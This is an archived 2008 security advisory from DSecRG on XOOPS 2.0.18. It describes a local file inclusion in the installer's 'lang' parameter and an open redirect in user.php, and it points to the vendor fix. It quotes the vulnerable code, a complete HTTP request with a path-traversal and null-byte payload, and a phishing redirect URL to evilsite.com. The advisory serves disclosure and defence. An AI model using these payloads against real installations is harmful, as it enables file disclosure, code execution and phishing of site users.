exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DSECRG-08-009.txt

DSECRG-08-009.txt
Posted Feb 4, 2008
Authored by Sh2kerr, Stas Svistunovich | Site dsecrg.com

XOOPS version 2.0.18 suffers from local file inclusion and URL redirection vulnerabilities.

tags | exploit, local, vulnerability, file inclusion
SHA-256 | 8f42f84a90e90b1cae89742c4acbc0a7a2ba57af29dc3d16398f81bae0c7f29e

DSECRG-08-009.txt

Change Mirror Download
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-009


Application: XOOPS
Versions Affected: XOOPS 2.0.18
Vendor URL: http://www.xoops.org/
Bugs: Local File Include,URL Redirecting phishing
Exploits: YES
Reported: 28.01.2008
Vendor response: 28.01.2008
Date of Public Advisory: 04.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)





Description
***********

XOOPS system has multiple security vulnerabilities:

1. Local File Include
2. Url redirection Phishing


Details
*******


1. Local File Include
Attacker can inject PHP code and execute OS commands with webserver user privileges

vulnerable script htdocs/install/index.php vulnerable POST parameter lang



vulnerable code:

************************************************



$language = 'english';
if ( !empty($_POST['lang']) ) {
$language = $_POST['lang'];
.
.
.
.



if ( file_exists("./language/".$language."/install.php") ) {
include_once "./language/".$language."/install.php";


************************************************









Example:


POST /xoops-2.0.18/htdocs/install/index.php HTTP/1.0
Cookie: install_lang=english; lang=russian; PHPSESSID=p113cjpff5dkrkoka01al18kk5; dk_sid=sfa6hlhn75pobg6kqe5m8p30j1
Content-Length: 67
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/xoops-2.0.18/htdocs/install/index.php

lang=/../../../../../../../../boot.ini%00.html&op=start&submit=Next










---------------------------------------------------------------------


2. URL Redirection phishing

Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter name "xoops_redirect"


Example:

http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evilsite.com



Fix Information
***************


Vendor fix this flaw in svn on 28.10.2007.

http://xoops.svn.sourceforge.net/viewvc/xoops?view=rev&revision=1282

Tracker: http://sourceforge.net/tracker/index.php?func=detail&atid=430840&aid=1881236&group_id=41586





About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)







--

Digital Security Research Group mailto:research@dsec.ru
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close